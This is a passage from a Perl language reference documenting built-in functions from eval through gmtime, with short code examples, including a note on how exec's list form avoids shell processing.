$op = shift;
for (@ARGV) {
    $was = $_;
    eval $op;
    die if $@;
    # next line calls the built-in function, not the script by the same name
    rename($was,$_) unless $was eq $_;
}
You'd use that program like this:
$ rename 's/\.orig$//'                *.orig
$ rename 'y/A-Z/a-z/ unless /^Make/'  *
$ rename '$_ .= ".bad"'               *.f
Since eval traps errors that would otherwise prove fatal, it is useful for determining whether particular features (such as fork or symlink) are implemented.

Because eval BLOCK is syntax-checked at compile time, any syntax error is reported earlier. Therefore, if your code is invariant and both eval EXPR and eval BLOCK will suit your purposes equally well, the BLOCK form is preferred. For example:

# make divide-by-zero nonfatal
eval { $answer = $a / $b; };    warn $@ if $@;

# same thing, but less efficient if run multiple times
eval '$answer = $a / $b';       warn $@ if $@;

# a compile-time syntax error (not trapped)
eval { $answer = };             # WRONG

# a run-time syntax error
eval '$answer =';               # sets $@
Here, the code in the BLOCK has to be valid Perl code to make it past the compile phase. The code in the EXPR doesn't get examined until run time, so it doesn't cause an error until run time.

The block of eval BLOCK does not count as a loop, so the loop control statements next, last, or redo cannot be used to leave or restart the block.

29.2.33. exec

exec PATHNAME LIST
exec LIST
The exec function terminates the current program and executes an external command and never returns!!! Use system instead of exec if you want to recover control after the commands exits. The exec function fails and returns false only if the command does not exist and if it is executed directly instead of via your system's command shell (discussed below).

If there is only one scalar argument, the argument is checked for shell metacharacters. If metacharacters are found, the entire argument is passed to the system's standard command interpreter (/bin/sh under Unix). If there are no metacharacters, the argument is split into words and executed directly, since in the interests of efficiency this bypasses all the overhead of shell processing. It also gives you more control of error recovery should the program not exist.

If there is more than one argument in LIST, or if LIST is an array with more than one value, the system shell will never be used. This also bypasses any shell processing of the command. The presence or absence of metacharacters in the arguments doesn't affect this list-triggered behavior, which makes it the preferred form in security-conscious programs that do not wish to expose themselves to potential shell escapes.

This example causes the currently running Perl program to replace itself with the echo program, which then prints out the current argument list:

exec 'echo', 'Your arguments are: ', @ARGV;
This example shows that you can exec a pipeline, not just a single program.
exec "sort $outfile | uniq"
    or die "Can't do sort/uniq: $!\n";
Ordinarily, exec never returns--if it does return, it always returns false, and you should check $! to find out what went wrong. Be aware that in older releases of Perl, exec (and system) did not flush your output buffer, so you needed to enable command buffering by setting $| on one or more filehandles to avoid lost output in the case of exec, or misordered output in the case of system. This situation was largely remedied in the 5.6 release of Perl.

When you ask the operating system to execute a new program within an existing process (as Perl's exec function does), you tell the system the location of the program to execute, but you also tell the new program (through its first argument) the name under which the program was invoked. Customarily, the name you tell it is just a copy of the location of the program, but it doesn't necessarily have to be, since there are two separate arguments at the level of the C language. When it is not a copy, you have the odd result that the new program thinks it's running under a name that may be totally different from the actual pathname where the program resides. Often this doesn't matter to the program in question, but some programs do care and adopt a different persona depending on what they think their name is. For example, the vi editor looks to see whether it was called as "vi" or as "view". If invoked as "view", it automatically enables read-only mode, just as though it was called with the -R command-line option.

This is where exec's optional PATHNAME parameter comes into play. Syntactically, it goes in the indirect-object slot like the filehandle for print or printf. Therefore, it doesn't take a comma after it, because it's not exactly part of the argument list. (In a sense, Perl takes the opposite approach from the operating system in that it assumes the first argument is the important one, and lets you modify the pathname if it differs.) For example:

$editor = "/usr/bin/vi";
exec $editor "view", @files      # trigger read-only mode
    or die "Couldn't execute $editor: $!\n";
As with any other indirect object, you can also replace the simple scalar holding the program name with a block containing arbitrary code, which simplifies the previous example to:
exec { "/usr/bin/vi" } "view" @files      # trigger read-only mode
    or die "Couldn't execute $editor: $!\n";
As we mentioned earlier, exec treats a discrete list of arguments as an indication that it should bypass shell processing. However, there is one place where you might still get tripped up. The exec call (and system, too) will not distinguish between a single scalar argument and an array containing only one element.
@args = ("echo surprise");  # just one element in list
exec @args                  # still subject to shell escapes
     or die "exec: $!";     #   because @args == 1
To avoid this, you can use the PATHNAME syntax, explicitly duplicating the first argument as the pathname, which forces the rest of the arguments to be interpreted as a list, even if there is only one of them:
exec { $args[0] } @args   # safe even with one-argument list
    or die "can't exec @args: $!";
The first version, the one without the curlies, runs the echo program, passing it "surprise" as an argument. The second version doesn't--it tries to run a program literally called echo surprise, doesn't find it (we hope), and sets $! to a nonzero value indicating failure.

Because the exec function is most often used shortly after a fork, it is assumed that anything that normally happens when a Perl process terminates should be skipped. Upon an exec, Perl will not call your END blocks, nor will it call any DESTROY methods associated with any objects. Otherwise, your child process would end up doing the cleanup you expected the parent process to do. (We wish that were the case in real life.)

Because it's such a common mistake to use exec instead of system, Perl warns you if there is a following statement that isn't die, warn, or exit when run with the popular -w command-line option, or if you've used the use warnings qw(exec syntax) pragma. If you really want to follow an exec with some other statement, you can use either of these styles to avoid the warning:

exec ('foo')   or print STDERR "couldn't exec foo: $!";
{ exec ('foo') }; print STDERR "couldn't exec foo: $!";
As the second line above shows, a call to exec that is the last statement in a block is exempt from this warning.

See also system.

29.2.34. exists

exists EXPR
This function returns true if the specified hash key or array index exists in its hash or array. It doesn't matter whether the corresponding value is true or false, or whether the value is even defined.
print "True\n"      if         $hash{$key};
print "Defined\n"   if defined $hash{$key};
print "Exists\n"    if exists  $hash{$key};

print "True\n"      if         $array[$index];
print "Defined\n"   if defined $array[$index];
print "Exists\n"    if exists  $array[$index];
An element can be true only if it's defined, and can be defined only if it exists, but the reverse doesn't necessarily hold.

EXPR can be arbitrarily complicated, provided that the final operation is a hash key or array index lookup:

if (exists $hash{A}{B}{$key}) { ... }
Although the last element will not spring into existence just because its existence was tested, intervening ones will. Thus $$hash{"A"} and $hash{"A"}->{"B"} will both spring into existence. This is not a function of exists, per se; it happens anywhere the arrow operator is used (explicitly or implicitly):
undef $ref;
if (exists $ref->{"Some key"}) { }
print $ref;   # prints HASH(0x80d3d5c)
Even though the "Some key" element didn't spring into existence, the previously undefined $ref variable did suddenly come to hold an anonymous hash. This is a surprising instance of autovivification in what does not at first--or even second--glance appear to be an lvalue context. This behavior is likely to be fixed in a future release. As a workaround, you can nest your calls:
if ($ref                        and
    exists $ref->[$x]           and
    exists $ref->[$x][$y]       and
    exists $ref->[$x][$y]{$key} and
    exists $ref->[$x][$y]{$key}[2] ) { ... }
If EXPR is the name of a subroutine, the exists function will return true if that subroutine has been declared, even if it has not yet been defined. The following will just print "Exists":
sub flub;
print "Exists\n"     if exists  &flub;
print "Defined\n"    if defined &flub;
Using exists on a subroutine name can be useful for an AUTOLOAD subroutine that needs to know whether a particular package wants a particular subroutine to be defined. The package can indicate this by declaring a stub sub like flub.

29.2.35. exit

exit EXPR
exit
This function evaluates EXPR as an integer and exits immediately with that value as the final error status of the program. If EXPR is omitted, the function exits with 0 status (meaning "no error"). Here's a fragment that lets a user exit the program by typing x or X:
$ans = <STDIN>;
exit if $ans =~ /^[Xx]/;
You shouldn't use exit to abort a subroutine if there's any chance that someone might want to trap whatever error happened. Use die instead, which can be trapped by an eval. Or use one of die's wrappers from the Carp module, like croak or confess.

We said that the exit function exits immediately, but that was a bald-faced lie. It exits as soon as possible, but first it calls any defined END routines for at-exit handling. These routines cannot abort the exit, although they can change the eventual exit value by setting the $? variable. Likewise, any class that defines a DESTROY method will invoke that method on behalf of all its objects before the real program exits. If you really need to bypass exit processing, you can call the POSIX module's _exit function to avoid all END and destructor processing. And if POSIX isn't available, you can exec "/bin/false" or some such.

29.2.36. exp

exp EXPR
exp
This function returns e to the power of EXPR. To get the value of e, just use exp(1). For general exponentiation of different bases, use the ** operator we stole from FORTRAN:
use Math::Complex;
print -exp(1) ** (i * pi);   # prints 1

29.2.37. fcntl

fcntl FILEHANDLE, FUNCTION, SCALAR
This function calls your operating system's file control functions, as documented in the fcntl(2) manpage. Before you call fcntl, you'll probably first have to say:
use Fcntl;
to load the correct constant definitions.

SCALAR will be read or written (or both) depending on the FUNCTION. A pointer to the string value of SCALAR will be passed as the third argument of the actual fcntl call. (If SCALAR has no string value but does have a numeric value, that value will be passed directly rather than passing a pointer to the string value.) See the Fcntl module for a description of the more common permissible values for FUNCTION.

The fcntl function will raise an exception if used on a system that doesn't implement fcntl(2). On systems that do implement it, you can do such things as modify the close-on-exec flags (if you don't want to play with the $^F ($SYSTEM_FD_MAX) variable), modify the nonblocking I/O flags, emulate the lockf(3) function, and arrange to receive the SIGIO signal when I/O is pending.

Here's an example of setting a filehandle named REMOTE to be nonblocking at the system level. This makes any input operation return immediately if nothing is available when reading from a pipe, socket, or serial line that would otherwise block. It also works to cause output operations that normally would block to return a failure status instead. (For those, you'll likely have to negotiate $| as well.)

use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);

$flags = fcntl(REMOTE, F_GETFL, 0)
            or die "Can't get flags for the socket: $!\n";

$flags = fcntl(REMOTE, F_SETFL, $flags | O_NONBLOCK)
            or die "Can't set flags for the socket: $!\n";
The return value of fcntl (and ioctl) is as follows:

Syscall Returns | Perl Returns
-1 | undef
0 | String "0 but true"
anything else | That number

Thus Perl returns true on success and false on failure, yet you can still easily determine the actual value returned by the operating system:

$retval = fcntl(...) || -1;
printf "fcntl actually returned %d\n", $retval;
Here, even the string "0 but true" prints as 0, thanks to the %d format. This string is true in Boolean context and 0 in numeric context. (It is also happily exempt from the normal warnings on improper numeric conversions.)

29.2.38. fileno

fileno FILEHANDLE
This function returns the file descriptor underlying a filehandle. If the filehandle is not open, fileno returns undef. A file descriptor is a small, non-negative integer like 0 or 1, in contrast to filehandles like STDIN and STDOUT, which are symbols. Unfortunately, the operating system doesn't know about your cool symbols. It only thinks of open files in terms of these small file numbers, and although Perl will usually do the translations for you automatically, occasionally you have to know the actual file descriptor.

So, for example, the fileno function is useful for constructing bitmaps for select and for passing to certain obscure system calls if syscall(2) is implemented. It's also useful for double-checking that the open function gave you the file descriptor you wanted and for determining whether two filehandles use the same system file descriptor.

if (fileno(THIS) == fileno(THAT)) {
    print "THIS and THAT are dups\n";
}
If FILEHANDLE is an expression, the value is taken as an indirect filehandle, generally its name or a reference to something resembling a filehandle object.

One caution: don't count on the association of a Perl filehandle and a numeric file descriptor throughout the life of the program. If a file has been closed and reopened, the file descriptor may change. Perl takes a bit of trouble to try to ensure that certain file descriptors won't be lost if an open on them fails, but it only does this for file descriptors that don't exceed the current value of the special $^F ($SYSTEM_FD_MAX) variable (by default, 2). Although filehandles STDIN, STDOUT, and STDERR start out with file descriptors of 0, 1, and 2 (the Unix standard convention), even they can change if you start closing and opening them with wild abandon. You can't get into trouble with 0, 1, and 2 as long as you always reopen immediately after closing. The basic rule on Unix systems is to pick the lowest available descriptor, and that'll be the one you just closed.

29.2.39. flock

flock FILEHANDLE, OPERATION
The flock function is Perl's portable file-locking interface, although it locks only entire files, not records. The function manages locks on the file associated with FILEHANDLE, returning true for success and false otherwise. To avoid the possibility of lost data, Perl flushes your FILEHANDLE before locking or unlocking it. Perl might implement its flock in terms of flock(2), fcntl(2), lockf(3), or some other platform-specific lock mechanism, but if none of these is available, calling flock raises an exception. See the section "File Locking" in Chapter 16, "Interprocess Communication".

OPERATION is one of LOCK_SH, LOCK_EX, or LOCK_UN, possibly ORed with LOCK_NB. These constants are traditionally valued 1, 2, 8, and 4, but you can use the symbolic names if you import them from the Fcntl module, either individually or as a group using the :flock tag.

LOCK_SH requests a shared lock, so it's typically used for reading. LOCK_EX requests an exclusive lock, so it's typically used for writing. LOCK_UN releases a previously requested lock; closing the file also releases any locks. If the LOCK_NB bit is used with LOCK_SH or LOCK_EX, flock returns immediately rather than waiting for an unavailable lock. Check the return status to see whether you got the lock you asked for. If you don't use LOCK_NB, you might wait indefinitely for the lock to be granted.

Another nonobvious but traditional aspect of flock is that its locks are merely advisory. Discretionary locks are more flexible but offer fewer guarantees than mandatory ones. This means that files locked with flock may be modified by programs that do not also use flock. Cars that stop for red lights get on well with each other, but not with cars that don't stop for red lights. Drive defensively.

Some implementations of flock cannot lock things over the network. While you could in theory use the more system-specific fcntl for that, the jury (having sequestered itself on the case for a decade or so) is still out on whether this is (or even can be) reliable.

Here's a mailbox appender for Unix systems that use flock(2) to lock mailboxes:

use Fcntl qw/:flock/;       # import LOCK_* constants
sub mylock {
    flock(MBOX, LOCK_EX)
        or die "can't lock mailbox: $!";
    # in case someone appended while we were waiting
    # and our stdio buffer is out of sync
    seek(MBOX, 0, 2)
        or die "can't seek to the end of mailbox: $!";
}

open(MBOX, ">>/usr/spool/mail/$ENV{'USER'}")
    or die "can't open mailbox: $!";

mylock();
print MBOX $msg, "\n\n";
close MBOX
    or die "can't close mailbox: $!";
On systems that support a real flock(2) syscall, locks are inherited across fork calls. Other implementations are not so lucky, and are likely to lose the locks across forks. See also the DB_File module in Chapter 32, "Standard Modules" for other flock examples.

29.2.40. fork

fork
This function creates two processes out of one by invoking the fork(2) syscall. If it succeeds, the function returns the new child process's ID to the parent process and 0 to the child process. If the system doesn't have sufficient resources to allocate a new process, the call fails and returns undef. File descriptors (and sometimes locks on those descriptors) are shared, while everything else is copied--or at least made to look that way.

In versions of Perl prior to 5.6, unflushed buffers remain unflushed in both processes, which means you may need to set $| on one or more filehandles earlier in the program to avoid duplicate output.

A nearly bulletproof way to launch a child process while checking for "cannot fork" errors would be:

use Errno qw(EAGAIN);
FORK: {
    if ($pid = fork) {
        # parent here
        # child process pid is available in $pid
    }
        elsif (defined $pid) { # $pid is zero here if defined
        # child here
        # parent process pid is available with getppid
    }
        elsif ($! == EAGAIN) {
        # EAGAIN is the supposedly recoverable fork error
        sleep 5;
        redo FORK;
    }
        else {
        # weird fork error
        die "Can't fork: $!\n";
    }
}
These precautions are not necessary on operations that do an implicit fork(2), such as system, backticks, or opening a process as a filehandle, because Perl automatically retries a fork on a temporary failure when it's doing the fork for you. Be careful to end the child code with an exit, or else your child will inadvertently leave the conditional block and start executing code intended only for the parent process.

If you fork without ever waiting on your children, you will accumulate zombies (exited processes whose parents haven't waited on them yet). On some systems, you can avoid this by setting $SIG{CHLD} to "IGNORE"; on most, you must wait for your moribund children. See the wait function for examples of doing this, or see the "Signals" section of Chapter 16, "Interprocess Communication" for more on SIGCHLD.

If a forked child inherits system file descriptors like STDIN and STDOUT that are connected to a remote pipe or socket, you may have to reopen these in the child to /dev/null. That's because even when the parent process exits, the child will live on with its copies of those filehandles. The remote server (such as, say, a CGI script or a background job launched from a remote shell) will appear to hang because it's still waiting for all copies to be closed. Reopening the system filehandles to something else fixes this.

On most systems supporting fork(2), great care has gone into making it extremely efficient (for example, using copy-on-write technology on data pages), making it the dominant paradigm for multitasking over the last few decades. The fork function is unlikely to be implemented efficiently, or perhaps at all, on systems that don't resemble Unix. For example, Perl 5.6 emulates a proper fork even on Microsoft systems, but no assurances can be made on performance at this point. You might have more luck there with the Win32::Process module.

29.2.41. format

format NAME =
    picture line
    value list
    ...
.
This function declares a named sequence of picture lines (with associated values) for use by the write function. If NAME is omitted, the name defaults to STDOUT, which happens to be the default format name for the STDOUT filehandle. Since, like a sub declaration, this is a package-global declaration that happens at compile time, any variables used in the value list need to be visible at the point of the format's declaration. That is, lexically scoped variables must be declared earlier in the file, while dynamically scoped variables merely need to be set at the time write is called. Here's an example (which assumes we've already calculated $cost and $quantity):
my $str = "widget";               # Lexically scoped variable.

format Nice_Output =
Test: @<<<<<<<< @||||| @>>>>>
      $str,     $%,    '$' . int($num)
.

local $~ = "Nice_Output";         # Select our format.
local $num = $cost * $quantity;   # Dynamically scoped variable.

write;
Like filehandles, format names are identifiers that exist in a symbol table (package) and may be fully qualified by package name. Within the typeglobs of a symbol table's entries, formats reside in their own namespace, which is distinct from filehandles, directory handles, scalars, arrays, hashes, and subroutines. Like those other six types, however, a format named Whatever would also be affected by a local on the *Whatever typeglob. In other words, a format is just another gadget contained in a typeglob, independent of the other gadgets.

The "Format Variables" section in Chapter 7, "Formats" contains numerous details and examples of their use. Chapter 28, "Special Names" describes the internal format-specific variables, and the English and IO::Handle modules provide easier access to them.

29.2.42. formline

formline PICTURE, LIST
This is an internal function used by formats, although you may also call it yourself. It always returns true. It formats a list of values according to the contents of PICTURE, placing the output into the format output accumulator, $^A (or $ACCUMULATOR if you use the English module). Eventually, when a write is done, the contents of $^A are written to some filehandle, but you could also read $^A yourself and then set $^A back to "". A format typically does one formline per line of form, but the formline function itself doesn't care how many newlines are embedded in the PICTURE. This means that the ~ and ~~ tokens will treat the entire PICTURE as a single line. You may therefore need to use multiple formlines to implement a single record-format, just as the format compiler does internally.

Be careful if you put double quotes around the picture, since an @ character may be taken to mean the beginning of an array name. See "Formats" in Chapter 6, "Subroutines" for example uses.

29.2.43. getc

getc FILEHANDLE
getc
This function returns the next byte from the input file attached to FILEHANDLE. It returns undef at end-of-file, or if an I/O error was encountered. If FILEHANDLE is omitted, the function reads from STDIN.

This function is somewhat slow, but occasionally useful for single-character (byte, really) input from the keyboard--provided you manage to get your keyboard input unbuffered. This function requests unbuffered input from the standard I/O library. Unfortunately, the standard I/O library is not so standard as to provide a portable way to tell the underlying operating system to supply unbuffered keyboard input to the standard I/O system. To do that, you have to be slightly more clever, and in an operating-system-dependent fashion. Under Unix you might say this:

if ($BSD_STYLE) {
  system "stty cbreak </dev/tty >/dev/tty 2>&1";
} else {
  system "stty", "-icanon", "eol", "\001";
}

$key = getc;

if ($BSD_STYLE) {
  system "stty -cbreak </dev/tty >/dev/tty 2>&1";
} else {
  system "stty", "icanon", "eol", "^@"; # ASCII NUL
}
print "\n";
This code puts the next character (byte) typed on the terminal in the string $key. If your stty program has options like cbreak, you'll need to use the code where $BSD_STYLE is true. Otherwise, you'll need to use the code where it is false. Determining the options for stty(1) is left as an exercise to the reader.

The POSIX module provides a more portable version of this using the POSIX::getattr function. See also the Term::ReadKey module from your nearest CPAN site for a more portable and flexible approach.

29.2.44. getgrent

getgrent
setgrent
endgrent
These routines iterate through your /etc/group file (or maybe someone else's /etc/group file, if it's coming from a server somewhere). The return value from getgrent in list context is:
($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. To set up a hash for translating group names to GIDs, say this:
while (($name, $passwd, $gid) = getgrent) {
    $gid{$name} = $gid;
}
In scalar context, getgrent returns only the group name. The standard User::grent module supports a by-name interface to this function. See getgrent(3).

29.2.45. getgrgid

getgrgid GID
This function looks up a group file entry by group number. The return value in list context is:
($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. If you want to do this repeatedly, consider caching the data in a hash using getgrent.

In scalar context, getgrgid returns only the group name. The User::grent module supports a by-name interface to this function. See getgrgid(3).

29.2.46. getgrnam

getgrnam NAME
This function looks up a group file entry by group name. The return value in list context is:
($name, $passwd, $gid, $members)
where $members contains a space-separated list of the login names of the members of the group. If you want to do this repeatedly, consider caching the data in a hash using getgrent.

In scalar context, getgrnam returns only the numeric group ID. The User::grent module supports a by-name interface to this function. See getgrnam(3).

29.2.47. gethostbyaddr

gethostbyaddr ADDR, ADDRTYPE
This function translates addresses into names (and alternate addresses). ADDR should be a packed binary network address, and ADDRTYPE should in practice usually be AF_INET (from the Socket module). The return value in list context is:
($name, $aliases, $addrtype, $length, @addrs) =
    gethostbyaddr($packed_binary_address, $addrtype);
where @addrs is a list of packed binary addresses. In the Internet domain, each address is (historically) four bytes long, and can be unpacked by saying something like:
($a, $b, $c, $d) = unpack('C4', $addrs[0]);
Alternatively, you can convert directly to dot vector notation with the v modifier to sprintf:
$dots = sprintf "%vd", $addrs[0];
The inet_ntoa function from the Socket module is useful for producing a printable version. This approach will become important if and when we all ever manage to switch over to IPv6.
use Socket;
$printable_address = inet_ntoa($addrs[0]);
In scalar context, gethostbyaddr returns only the host name.

To produce an ADDR from a dot vector, say this:

use Socket;
$ipaddr = inet_aton("127.0.0.1");       # localhost
$claimed_hostname = gethostbyaddr($ipaddr, AF_INET);
Interestingly, with version 5.6 of Perl you can skip the inet_aton() and use the new v-string notation that was invented for version numbers but happens to work for IP addresses as well:
$ipaddr = v127.0.0.1;
See the section "Sockets" in Chapter 16, "Interprocess Communication" for more examples. The Net::hostent module supports a by-name interface to this function. See gethostbyaddr(3).

29.2.48. gethostbyname

gethostbyname NAME
This function translates a network hostname to its corresponding addresses (and other names). The return value in list context is:
($name, $aliases, $addrtype, $length, @addrs) =
    gethostbyname($remote_hostname);
where @addrs is a list of raw addresses. In the Internet domain, each address is (historically) four bytes long, and can be unpacked by saying something like:
($a, $b, $c, $d) = unpack('C4', $addrs[0]);
You can convert directly to vector notation with the v modifier to sprintf:
$dots = sprintf "%vd", $addrs[0];
In scalar context, gethostbyname returns only the host address:
use Socket;
$ipaddr = gethostbyname($remote_host);
printf "%s has address %s\n",
    $remote_host, inet_ntoa($ipaddr);
See "Sockets" in Chapter 16, "Interprocess Communication" for another approach. The Net::hostent module supports a by-name interface to this function. See also gethostbyname(3).

29.2.49. gethostent

gethostent
sethostent STAYOPEN
endhostent
These functions iterate through your /etc/hosts file and return each entry one at a time. The return value from gethostent is:
($name, $aliases, $addrtype, $length, @addrs)
where @addrs is a list of raw addresses. In the Internet domain, each address is four bytes long, and can be unpacked by saying something like:
($a, $b, $c, $d) = unpack('C4', $addrs[0]);
Scripts that use gethostent should not be considered portable. If a machine uses a name server, it would have to interrogate most of the Internet to try to satisfy a request for all the addresses of every machine on the planet. So gethostent is unimplemented on such machines. See gethostent(3) for other details.

The Net::hostent module supports a by-name interface to this function.

29.2.50. getlogin

getlogin
This function returns the current login name if found. On Unix systems, this is read from the utmp(5) file. If it returns false, use getpwuid instead. For example:
$login = getlogin() || (getpwuid($<))[0] || "Intruder!!";

29.2.51. getnetbyaddr

getnetbyaddr ADDR, ADDRTYPE
This function translates a network address to the corresponding network name or names. The return value in list context is:
use Socket;
($name, $aliases, $addrtype, $net) = getnetbyaddr(127, AF_INET);
In scalar context, getnetbyaddr returns only the network name. The Net::netent module supports a by-name interface to this function. See getnetbyaddr(3).

29.2.52. getnetbyname

getnetbyname NAME
This function translates a network name to its corresponding network address. The return value in list context is:
($name, $aliases, $addrtype, $net) = getnetbyname("loopback");
In scalar context, getnetbyname returns only the network address. The Net::netent module supports a by-name interface to this function. See getnetbyname(3).

29.2.53. getnetent

getnetent
setnetent STAYOPEN
endnetent
These functions iterate through your /etc/networks file. The return value in list context is:
($name, $aliases, $addrtype, $net) = getnetent();
In scalar context, getnetent returns only the network name. The Net::netent module supports a by-name interface to this function. See getnetent(3).

The concept of network names seems rather quaint these days; most IP addresses are on unnamed (and unnameable) subnets.

29.2.54. getpeername

getpeername SOCKET
This function returns the packed socket address of the other end of the SOCKET connection. For example:

use Socket;
$hersockaddr      = getpeername SOCK;
($port, $heraddr) = sockaddr_in($hersockaddr);
$herhostname      = gethostbyaddr($heraddr, AF_INET);
$herstraddr       = inet_ntoa($heraddr);

29.2.55. getpgrp

getpgrp PID
This function returns the current process group for the specified PID (use a PID of 0 for the current process). Invoking getpgrp will raise an exception if used on a machine that doesn't implement getpgrp(2). If PID is omitted, the function returns the process group of the current process (the same as using a PID of 0). On systems implementing this operator with the POSIX getpgrp(2) syscall, PID must be omitted or, if supplied, must be 0.

29.2.56. getppid

getppid
This function returns the process ID of the parent process. On the typical Unix system, if your parent process ID changes to 1, it means your parent process has died and you've been adopted by the init(8) program.

29.2.57. getpriority

getpriority WHICH, WHO
This function returns the current priority for a process, a process group, or a user. See getpriority(2). Invoking getpriority will raise an exception if used on a machine that doesn't implement getpriority(2).

The BSD::Resource module from CPAN provides a more convenient interface, including the PRIO_PROCESS, PRIO_PGRP, and PRIO_USER symbolic constants to supply for the WHICH argument. Although these are traditionally set to 0, 1, and 2 respectively, you really never know what may happen within the dark confines of C's #include files.

A value of 0 for WHO means the current process, process group, or user, so to get the priority of the current process, use:

$curprio = getpriority(0, 0);

29.2.58. getprotobyname

getprotobyname NAME
This function translates a protocol name to its corresponding number. The return value in list context is:
($name, $aliases, $protocol_number) = getprotobyname("tcp");
When called in scalar context, getprotobyname returns only the protocol number. The Net::proto module supports a by-name interface to this function. See getprotobyname(3).

29.2.59. getprotobynumber

getprotobynumber NUMBER
This function translates a protocol number to its corresponding name. The return value in list context is:
($name, $aliases, $protocol_number) = getprotobynumber(6);
When called in scalar context, getprotobynumber returns only the protocol name. The Net::proto module supports a by-name interface to this function. See getprotobynumber(3).

29.2.60. getprotoent

getprotoent
setprotoent STAYOPEN
endprotoent
These functions iterate through the /etc/protocols file. In list context, the return value from getprotoent is:
($name, $aliases, $protocol_number) = getprotoent();
When called in scalar context, getprotoent returns only the protocol name. The Net::proto module supports a by-name interface to this function. See getprotent(3).

29.2.61. getpwent

getpwent
setpwent
endpwent
These functions conceptually iterate through your /etc/passwd file, though this may involve the /etc/shadow file if you're the superuser and are using shadow passwords, or NIS (n&#233;e YP) or NIS+ if you're using either of those. The return value in list context is:
($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell) = getpwent();
Some machines may use the quota and comment fields for other than their named purposes, but the remaining fields will always be the same. To set up a hash for translating login names to UIDs, say this:
while (($name, $passwd, $uid) = getpwent()) {
    $uid{$name} = $uid;
}
In scalar context, getpwent returns only the username. The User::pwent module supports a by-name interface to this function. See getpwent(3).

29.2.62. getpwnam

getpwnam NAME
This function translates a username to the corresponding /etc/passwd file entry. The return value in list context is:
($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell) = getpwnam("daemon");
On systems that support shadow passwords, you will have to be the superuser to retrieve the actual password. Your C library should notice that you're suitably empowered and open the /etc/shadow file (or wherever it keeps the shadow file). At least, that's how it's supposed to work. Perl will try to do this if your C library is too stupid to notice.

For repeated lookups, consider caching the data in a hash using getpwent.

In scalar context, getpwnam returns only the numeric user ID. The User::pwent module supports a by-name interface to this function. See getpwnam(3) and passwd(5).

29.2.63. getpwuid

getpwuid UID
This function translates a numeric user ID to the corresponding /etc/passwd file entry. The return value in list context is:
($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell) = getpwuid(2);
For repeated lookups, consider caching the data in a hash using getpwent.

In scalar context, getpwuid returns the username. The User::pwent module supports a by-name interface to this function. See getpwnam(3) and passwd(5).

29.2.64. getservbyname

getservbyname NAME, PROTO
This function translates a service (port) name to its corresponding port number. PROTO is a protocol name such as "tcp". The return value in list context is:
($name, $aliases, $port_number, $protocol_name) = getservbyname("www", "tcp");
In scalar context, getservbyname returns only the service port number. The Net::servent module supports a by-name interface to this function. See getservbyname(3).

29.2.65. getservbyport

getservbyport PORT, PROTO
This function translates a service (port) number to its corresponding names. PROTO is a protocol name such as "tcp". The return value in list context is:
($name, $aliases, $port_number, $protocol_name) = getservbyport(80, "tcp");
In scalar context, getservbyport returns only the service name. The Net::servent module supports a by-name interface to this function. See getservbyport(3).

29.2.66. getservent

getservent
setservent STAYOPEN
endservent
This function iterates through the /etc/services file or its equivalent. The return value in list context is:
($name, $aliases, $port_number, $protocol_name) = getservent();
In scalar context, getservent returns only the service port name. The Net::servent module supports a by-name interface to this function. See getservent(3).

29.2.67. getsockname

getsockname SOCKET
This function returns the packed socket address of this end of the SOCKET connection. (And why wouldn't you know your own address already? Maybe because you bound an address containing wildcards to the server socket before doing an accept and now you need to know what interface someone used to connect to you. Or you were passed a socket by your parent process--inetd, for example.)
use Socket;
$mysockaddr = getsockname(SOCK);
($port, $myaddr) = sockaddr_in($mysockaddr);
$myname = gethostbyaddr($myaddr,AF_INET);
printf "I am %s [%vd]\n", $myname, $myaddr;

29.2.68. getsockopt

getsockopt SOCKET, LEVEL, OPTNAME
This function returns the socket option requested, or undef if there is an error. See setsockopt for more information.

29.2.69. glob

glob EXPR
glob
This function returns the value of EXPR with filename expansions such as a shell would do. This is the internal function implementing the <*> operator.

For historical reasons, the algorithm matches the csh(1)'s style of expansion, not the Bourne shell's. Versions of Perl before the 5.6 release used an external process, but 5.6 and later perform globs internally. Files whose first character is a dot (".") are ignored unless this character is explicitly matched. An asterisk ("*") matches any sequence of any character (including none). A question mark ("?") matches any one character. A square bracket sequence ("[...]") specifies a simple character class, like "[chy0-9]". Character classes may be negated with a circumflex, as in "*.[^oa]", which matches any non-dot files whose names contain a period followed by one character which is neither an "a" nor an "o" at the end of the name. A tilde ("~") expands to a home directory, as in "~/.*rc" for all the current user's "rc" files, or "~jane/Mail/*" for all of Jane's mail files. Braces may be used for alternation, as in "~/.{mail,ex,csh,twm,}rc" to get those particular rc files.

If you want to glob filenames that might contain whitespace, you'll need to use the File::Glob module directly, since glob grandfathers the use of whitespace to separate multiple patterns such as <*.c *.h>. For details, see File::Glob in Chapter 32, "Standard Modules". Calling glob (or the <*> operator) automatically uses that module, so if the module mysteriously vaporizes from your library, an exception is raised.

When you call open, Perl does not expand wildcards, including tildes. You need to glob the result first.

open(MAILRC, "~/.mailrc")                # WRONG: tilde is a shell thing
    or die "can't open ~/.mailrc: $!";

open(MAILRC, (glob("~/.mailrc"))[0])     # expand tilde first
    or die "can't open ~/.mailrc: $!";
The glob function is not related to the Perl notion of typeglobs, other than that they both use a * to represent multiple items.

See also the "Filename globbing operator" section of Chapter 2, "Bits and Pieces".

29.2.70. gmtime

gmtime EXPR
gmtime
This function converts a time as returned by the time function to a nine-element list with the time correct for the Greenwich time zone (a.k.a. GMT, or UTC, or even Zulu in certain cultures, not including the Zulu culture, oddly enough). It's typically used as follows:
#  0    1    2     3     4    5     6     7     8
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime;
If, as in this case, the EXPR is omitted, it does gmtime(time()). The Perl library module Time::Local contains a subroutine, timegm, that can convert the list back into a time value.

All list elements are numeric and come straight out of a struct tm (that's a C programming structure--don't sweat it). In particular this means that $mon has the range 0..11 with January as month 0, and $wday has the range 0..6 with Sunday as day 0. You can remember which ones are zero-based because those are the ones you're always using as subscripts into zero-based arrays containing month and day names.

For example, to get the current month in London, you might say:

$london_month = (qw(Jan Feb Mar Apr May Jun
                    Jul Aug Sep Oct Nov Dec))[(gmtime)[4]];
